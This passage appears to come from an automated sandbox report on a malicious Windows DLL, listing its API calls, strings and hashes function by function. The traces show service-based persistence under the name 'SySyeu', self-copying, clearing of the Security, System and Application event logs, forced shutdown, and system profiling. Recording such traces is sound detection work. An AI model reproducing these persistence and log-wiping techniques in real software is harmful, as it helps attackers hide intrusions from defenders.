CloseHandle.KERNEL32(10003544), ref: 100020A9
FreeLibrary.KERNELBASE(?), ref: 100020BB

Strings

userenv.dll, xrefs: 10001FC6
WinSta0\Default, xrefs: 1000201C
CreateEnvironmentBlock, xrefs: 10001FD1

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: ProcessToken$CloseHandleLibrarymemset$AddressCreateCurrentDuplicateFreeInformationLoadOpenProcUser
String ID: CreateEnvironmentBlock$WinSta0\Default$userenv.dll
API String ID: 389336417-1779146383
Opcode ID: b17ba00ba64db28f18bd6f450c5a4aff0af55f28d04f5de357443b33628a04c7
Instruction ID: 393253a686a726e0e40b90c7e54b6c9b8ea898aa750e1207ba5c491074f34e4f
Opcode Fuzzy Hash: b17ba00ba64db28f18bd6f450c5a4aff0af55f28d04f5de357443b33628a04c7
Instruction Fuzzy Hash: E13104B2D11229BBEB11DFD5CD89DDEBFBAEF08781F200056F605A2154C7B15A00DBA0

Function 1000336E Relevance: 50.9, APIs: 25, Strings: 4, Instructions: 150
stringsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strncpy.MSVCRT ref: 1000338C
wcstombs.MSVCRT ref: 1000339C
RegisterServiceCtrlHandlerA.ADVAPI32(?,100032F7), ref: 100033B1
FreeConsole.KERNEL32 ref: 100033C6

Part of subcall function 1000318A: SetServiceStatus.SECHOST(00000010), ref: 100031CA

GetVersionExA.KERNEL32(?), ref: 100033F3
MainThread.6011859 ref: 1000340F

Part of subcall function 1000315D: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10003178
Part of subcall function 1000315D: CloseHandle.KERNEL32(00000000), ref: 1000317F

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 10003426
lstrcatA.KERNEL32(?,1000660C), ref: 10003438
lstrcatA.KERNEL32(?,SySyeu), ref: 1000344A
lstrcatA.KERNEL32(?,.exe), ref: 1000345C
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000346A
lstrcatA.KERNEL32(?,\Rundll32.exe), ref: 1000347C
CopyFileA.KERNEL32(?,?,00000001), ref: 10003492
GetFileAttributesA.KERNELBASE(?), ref: 1000349F
GetLastError.KERNEL32 ref: 100034AA
wsprintfA.USER32 ref: 100034C3
GetModuleFileNameA.KERNEL32(?,00000104), ref: 100034DE
wsprintfA.USER32 ref: 100034FE
Sleep.KERNELBASE(000003E8), ref: 1000350C
GetExitCodeProcess.KERNELBASE(00000000,?), ref: 10003517
CloseHandle.KERNELBASE(00000000), ref: 10003527
Sleep.KERNELBASE(00000BB8), ref: 10003532
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10003559
CloseHandle.KERNEL32(00000000), ref: 10003560
Sleep.KERNEL32(00000064), ref: 10003568

Strings

\Rundll32.exe, xrefs: 10003476
%s "%s",MainThread, xrefs: 100034F8
SySyeu, xrefs: 10003444
.exe, xrefs: 10003456

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: lstrcat$CloseFileHandleSleep$DirectoryObjectServiceSingleWaitwsprintf$AttributesCodeConsoleCopyCtrlCurrentErrorExitFreeHandlerLastMainModuleNameProcessRegisterStatusSystemThreadVersionstrncpywcstombs
String ID: %s "%s",MainThread$.exe$SySyeu$\Rundll32.exe
API String ID: 2268562214-1198991748
Opcode ID: edc6bb86fa15e14382b8bf422a5a5e13054f2286661d091575d839084948f042
Instruction ID: 41d25408302aabc459f6968b7f59f59ff79b25a4c4978eb5c8748b31ff7b5c46
Opcode Fuzzy Hash: edc6bb86fa15e14382b8bf422a5a5e13054f2286661d091575d839084948f042
Instruction Fuzzy Hash: 06515275800269AFEB11DBA0CCC99DF77BEEB09395F604465F209D2058DB719A84CF61

Function 1000318A Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetServiceStatus.SECHOST(00000010), ref: 100031CA

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: 27465d0ccf9c2ca7f2eb77ed8655f8ffd3fcd3240fb6f93fded1e015b92d134b
Instruction ID: 42df913d68a79b1f62ab0f840a1365e4bfcb694bfd220718bb7b564d1378dfbb
Opcode Fuzzy Hash: 27465d0ccf9c2ca7f2eb77ed8655f8ffd3fcd3240fb6f93fded1e015b92d134b
Instruction Fuzzy Hash: 24F0A5B0D0021EDFDB40DF99D8857AEBBF4BB08348F108069E818A7244D7B496048F90

Non-executed Functions

Function 10001B5B Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 176
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,?,00000000), ref: 10001B96
_local_unwind2.MSVCRT ref: 10001BA9
CreateServiceA.ADVAPI32(00000000,00000000,00000000,000F01FF,?,10001E9B,00000000,?,00000000,00000000,?,00000000,00000000,?,00000000), ref: 10001BE6
GetLastError.KERNEL32(?,00000000), ref: 10001BF5
OpenServiceA.ADVAPI32(10001E9B,00000000,000F01FF,?,00000000), ref: 10001C09
StartServiceA.ADVAPI32(00000000,00000000,00000000,?,00000000), ref: 10001C1F
ChangeServiceConfig2A.ADVAPI32(00000000,00000001,?,?,00000000), ref: 10001C43
ChangeServiceConfig2A.ADVAPI32(00000000,00000002,?), ref: 10001CA3

Strings

SYSTEM\CurrentControlSet\Services\%s, xrefs: 10001DAE, 10001DB4
Description, xrefs: 10001DD4

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Service$ChangeConfig2Open$CreateErrorLastManagerStart_local_unwind2
String ID: Description$SYSTEM\CurrentControlSet\Services\%s
API String ID: 1109860625-2908613140
Opcode ID: ae27365f3abc695d381728d134456e741ffe8850672492339ff11c7de2e79d22
Instruction ID: 34160cdb049149ef51204cb724d21122ba78e6005a4a2cbc3d1f025aef1d8869
Opcode Fuzzy Hash: ae27365f3abc695d381728d134456e741ffe8850672492339ff11c7de2e79d22
Instruction Fuzzy Hash: E6813270C086A8DEEB21CB64CC88BDEBFB5AB19344F0401D9E55C66291C77A0F94CF65

Function 10001A43 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 53servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,SySyeu,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A54
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A69
StartServiceA.ADVAPI32(00000000,00000000,00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A7A
GetLastError.KERNEL32(?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A84
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001A92
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001AA0
Sleep.KERNEL32(00000064), ref: 10001AB2
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001ABB
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,10003043,SySyeu), ref: 10001AC2

Strings

SySyeu, xrefs: 10001A4A

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Service$CloseHandle$Open$ErrorLastManagerQuerySleepStartStatus
String ID: SySyeu
API String ID: 191932718-1969729670
Opcode ID: 014086cccfa01bbc5a08c9c9583791d5995df2f921ac7ee13cb4fdb749c4e3c5
Instruction ID: 9ee7ec8bb55b1ac22ac6ce330aaae550d3e81ab1b6a3f2d0b0f6497ceb73b83b
Opcode Fuzzy Hash: 014086cccfa01bbc5a08c9c9583791d5995df2f921ac7ee13cb4fdb749c4e3c5
Instruction Fuzzy Hash: 33012531746327EBF711ABA05CC9FEF36A9EB0A7C1F200420F602D9099DB65884186E6

Function 10002BC3 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 77stringprocessCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 10002BD1
memset.MSVCRT ref: 10002BEF

Part of subcall function 10004822: memset.MSVCRT ref: 10004857
Part of subcall function 10004822: memset.MSVCRT ref: 1000486A
Part of subcall function 10004822: memset.MSVCRT ref: 10004878
Part of subcall function 10004822: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
Part of subcall function 10004822: GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
Part of subcall function 10004822: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

lstrlenA.KERNEL32(?), ref: 10002C1E
strstr.MSVCRT ref: 10002C34
lstrcpyA.KERNEL32(00000000,?), ref: 10002C44
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 10002C8A

Strings

D, xrefs: 10002C57
WinSta0\Default, xrefs: 10002C60
Applications\iexplore.exe\shell\open\command, xrefs: 10002C01

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$memset$Library$CreateFreeLoadProcesslstrcpylstrlenstrlenstrstr
String ID: Applications\iexplore.exe\shell\open\command$D$WinSta0\Default
API String ID: 2952214944-490771695
Opcode ID: 7fd2577a0a9b6326ac895a1fa05e515703ef0ef4a7097cdaa6f8a03547f7ada4
Instruction ID: 41262b3153465784fb7137690828f40fbae5b7cfa485d5802afb8d228550aeb8
Opcode Fuzzy Hash: 7fd2577a0a9b6326ac895a1fa05e515703ef0ef4a7097cdaa6f8a03547f7ada4
Instruction Fuzzy Hash: 46216A72900128AAFF60CBE1CD48EDF7BBCEF453D2F100015BA09E6048DA719A84CBA0

Function 1000265E Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 50COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,Application), ref: 100026B8
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 100026C7
CloseEventLog.ADVAPI32(00000000), ref: 100026CE

Strings

Security, xrefs: 10002670
Application, xrefs: 100026B4
(b, xrefs: 10002669
System, xrefs: 10002677

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: (b$Application$Security$System
API String ID: 1391105993-346596376
Opcode ID: 979e5dc6c9d061fd1560a2a7781cfa77c6718ec7c1a2c36edda2fbc21b44326a
Instruction ID: bc44e267b22650a43e45f5af2b99767b5e3e23e3035c63c9d4cfe444952d6dd8
Opcode Fuzzy Hash: 979e5dc6c9d061fd1560a2a7781cfa77c6718ec7c1a2c36edda2fbc21b44326a
Instruction Fuzzy Hash: 5D018F71E00A99BBFB00DF94984479DBFB4EB097C9FA04095E506EB248D73A8E408F95

Function 10001F48 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47servicestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 10001F4E

Part of subcall function 10001ACF: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 10001ADF
Part of subcall function 10001ACF: OpenServiceA.ADVAPI32(00000000,?,000F01FF), ref: 10001AF5
Part of subcall function 10001ACF: QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B06
Part of subcall function 10001ACF: ControlService.ADVAPI32(00000000,00000001,?), ref: 10001B1D
Part of subcall function 10001ACF: Sleep.KERNEL32(0000000A), ref: 10001B2F
Part of subcall function 10001ACF: QueryServiceStatus.ADVAPI32(00000000,?), ref: 10001B3A
Part of subcall function 10001ACF: CloseServiceHandle.ADVAPI32(00000000), ref: 10001B43
Part of subcall function 10001ACF: CloseServiceHandle.ADVAPI32(00000000), ref: 10001B4A

OpenSCManagerA.ADVAPI32(00000000,00000000,?,?,?,?,10002F76,SySyeu), ref: 10001F6B
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,10002F76,SySyeu), ref: 10001F7F
DeleteService.ADVAPI32(00000000,?,?,?,?,10002F76,SySyeu), ref: 10001F8C
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,10002F76,SySyeu), ref: 10001F93
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,10002F76,SySyeu), ref: 10001F9A

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 10001FA7

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Service$CloseHandleOpen$ManagerQueryStatus$ControlDeleteSleepstrlen
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
API String ID: 625463800-1784019800
Opcode ID: 02807cd9fc2c2d172a8d2777ce926d73bc9f3961fff41b6754e738332fe71101
Instruction ID: 320e00f64ca60edd69a113f9dbbd44adb98dc69d7bce9bbf9f1d19ab5e200103
Opcode Fuzzy Hash: 02807cd9fc2c2d172a8d2777ce926d73bc9f3961fff41b6754e738332fe71101
Instruction Fuzzy Hash: 39F096B610912A7FF1106771ECCCDBF7E6DDB4E2D6B120428F5055600ECF2658418571

Function 1000358C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 10004822: memset.MSVCRT ref: 10004857
Part of subcall function 10004822: memset.MSVCRT ref: 1000486A
Part of subcall function 10004822: memset.MSVCRT ref: 10004878
Part of subcall function 10004822: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
Part of subcall function 10004822: GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
Part of subcall function 10004822: GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
Part of subcall function 10004822: FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 100035C9
wsprintfA.USER32 ref: 100035DE

Strings

~MHz, xrefs: 100035AE
%d*%sMHz, xrefs: 100035D6
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 100035B3

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$memset$Library$FreeInfoLoadSystemwsprintf
String ID: %d*%sMHz$HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz
API String ID: 86330591-2169120903
Opcode ID: dc211f4c5e3334b9a75a581acafed69773f2644d7a1948e9a9c8f06f08de0db5
Instruction ID: e0e52339f3a0edf701dd4b0822ed73eda2d577ef34cae91861143d544cce4ff8
Opcode Fuzzy Hash: dc211f4c5e3334b9a75a581acafed69773f2644d7a1948e9a9c8f06f08de0db5
Instruction Fuzzy Hash: 93F054B1900149BFFB04DBE8CD05DEEBB6DDB1C144F200464FB01F5055E6629A148766

Function 10003D5D Relevance: 7.6, APIs: 5, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,?,?,100039AB,00000000), ref: 10003D99
free.MSVCRT ref: 10003DA8
VirtualFree.KERNEL32(?,00000000,00008000,?,?,100039AB,00000000), ref: 10003DBE
GetProcessHeap.KERNEL32(00000000,?,?,?,100039AB,00000000), ref: 10003DC6
HeapFree.KERNEL32(00000000), ref: 10003DCD

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: Free$Heap$LibraryProcessVirtualfree
String ID:
API String ID: 831075735-0
Opcode ID: 667178307696715c23ee8a0b861fe9ca313d72f521eb66f714d6403ad810cf37
Instruction ID: 71511c0ad6a298159b0eec715adc94005effd13d7d75cd72595928e5cffca51a
Opcode Fuzzy Hash: 667178307696715c23ee8a0b861fe9ca313d72f521eb66f714d6403ad810cf37
Instruction Fuzzy Hash: DC01ED72500611AFE7219FA5DCC895BB7EDFB443A1311892EF19A93554C731BC45CB50

Function 100025A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 10004666: LoadLibraryA.KERNEL32(ADVAPI32.dll,?,SeShutdownPrivilege), ref: 1000467E
Part of subcall function 10004666: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 1000468E
Part of subcall function 10004666: GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 10004699
Part of subcall function 10004666: GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 100046A4
Part of subcall function 10004666: LoadLibraryA.KERNEL32(kernel32.dll,?,SeShutdownPrivilege), ref: 100046AE
Part of subcall function 10004666: GetProcAddress.KERNEL32(00000000,GetCurrentProcess), ref: 100046B9
Part of subcall function 10004666: LoadLibraryA.KERNEL32(KERNEL32.dll,?,SeShutdownPrivilege), ref: 10004701
Part of subcall function 10004666: GetProcAddress.KERNEL32(00000000,GetLastError), ref: 10004709
Part of subcall function 10004666: CloseHandle.KERNEL32(?,?,SeShutdownPrivilege), ref: 10004718
Part of subcall function 10004666: FreeLibrary.KERNEL32(00000000,?,SeShutdownPrivilege), ref: 10004729
Part of subcall function 10004666: FreeLibrary.KERNEL32(00000000,?,SeShutdownPrivilege), ref: 10004734

ExitWindowsEx.USER32(?,00000000), ref: 100025B8

Strings

SeShutdownPrivilege, xrefs: 100025A3, 100025AA, 100025C0

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseExitHandleWindows
String ID: SeShutdownPrivilege
API String ID: 3789203340-3733053543
Opcode ID: e4fba66ba179fd9c90d11779b271753c7a602678899a700a7ffa0e43bc127d12
Instruction ID: 24361d1f74b491916104d0b65e9654eb6268adfd09238d66ad51a9c89c1c7c7a
Opcode Fuzzy Hash: e4fba66ba179fd9c90d11779b271753c7a602678899a700a7ffa0e43bc127d12
Instruction Fuzzy Hash: 55D0C93614D7203AF6259310FC07F891386DB46A60F32005AF100281D9EE97394101DE

Function 10004822 Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 183
libraryloaderstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 10004857
memset.MSVCRT ref: 1000486A
memset.MSVCRT ref: 10004878
LoadLibraryA.KERNEL32(ADVAPI32.dll,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004885
GetProcAddress.KERNEL32(00000000,RegQueryValueExA), ref: 1000489D
GetProcAddress.KERNEL32(?,RegOpenKeyExA), ref: 100048AD
GetProcAddress.KERNEL32(?,RegEnumValueA), ref: 100048BD
GetProcAddress.KERNEL32(?,RegEnumKeyExA), ref: 100048CA
GetProcAddress.KERNEL32(?,RegCloseKey), ref: 100048D7
strchr.MSVCRT ref: 10004991
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A3F
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,00002081,00000144,00000000), ref: 10004A63

Strings

RegQueryValueExA, xrefs: 10004891
RegEnumValueA, xrefs: 100048B2
%08X, xrefs: 100049FF
RegOpenKeyExA, xrefs: 100048A2
RegCloseKey, xrefs: 100048CC
RegEnumKeyExA, xrefs: 100048BF
ADVAPI32.dll, xrefs: 10004880

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$memset$Library$FreeLoadlstrcpystrchr
String ID: %08X$ADVAPI32.dll$RegCloseKey$RegEnumKeyExA$RegEnumValueA$RegOpenKeyExA$RegQueryValueExA
API String ID: 3659255042-2913591164
Opcode ID: 7424f0aa0fc5f41e5269731e09dcfb498a038a30a4bf35bef428207efb807e24
Instruction ID: 7827c6d97ea14ff7f97f876e2ede93deda3ff4f1abfb71c7f8a3dc5e2b71a7d8
Opcode Fuzzy Hash: 7424f0aa0fc5f41e5269731e09dcfb498a038a30a4bf35bef428207efb807e24
Instruction Fuzzy Hash: 3761F9B190111DABEF21DFA0CD84EEFBBB9FB49390F1101A6F609A2114DB319E548F65

Function 100027BC Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 180
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 100027D8
strrchr.MSVCRT ref: 100027E2
strrchr.MSVCRT ref: 10002811
strlen.MSVCRT ref: 10002821
strncpy.MSVCRT ref: 1000283B
strcpy.MSVCRT(?,00000005), ref: 10002850
memset.MSVCRT ref: 10002889
wsprintfA.USER32 ref: 100028A4
memset.MSVCRT ref: 100028B3
ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 10002909
strstr.MSVCRT ref: 10002921
strstr.MSVCRT ref: 10002935
lstrcatA.KERNEL32(?,100062A0), ref: 1000294F
lstrcatA.KERNEL32(?,?), ref: 1000295B
lstrcpyA.KERNEL32(00000000,?), ref: 10002963
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 100029A9

Strings

WinSta0\Default, xrefs: 1000297F
%s\shell\open\command, xrefs: 1000289E
"%1, xrefs: 1000291B
D, xrefs: 10002976

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: memset$lstrcatstrrchrstrstr$CreateEnvironmentExpandProcessStringslstrcpystrcpystrlenstrncpywsprintf
String ID: "%1$%s\shell\open\command$D$WinSta0\Default
API String ID: 4079107157-33419044
Opcode ID: 04d3fabc052defb42953b4d487a01b0e0a3a75e7128b93fa4fdb2158ee315547
Instruction ID: 1dae266835ad86fc393f082bb566385ae5bfce16840cf251a65e311cd9e83007
Opcode Fuzzy Hash: 04d3fabc052defb42953b4d487a01b0e0a3a75e7128b93fa4fdb2158ee315547
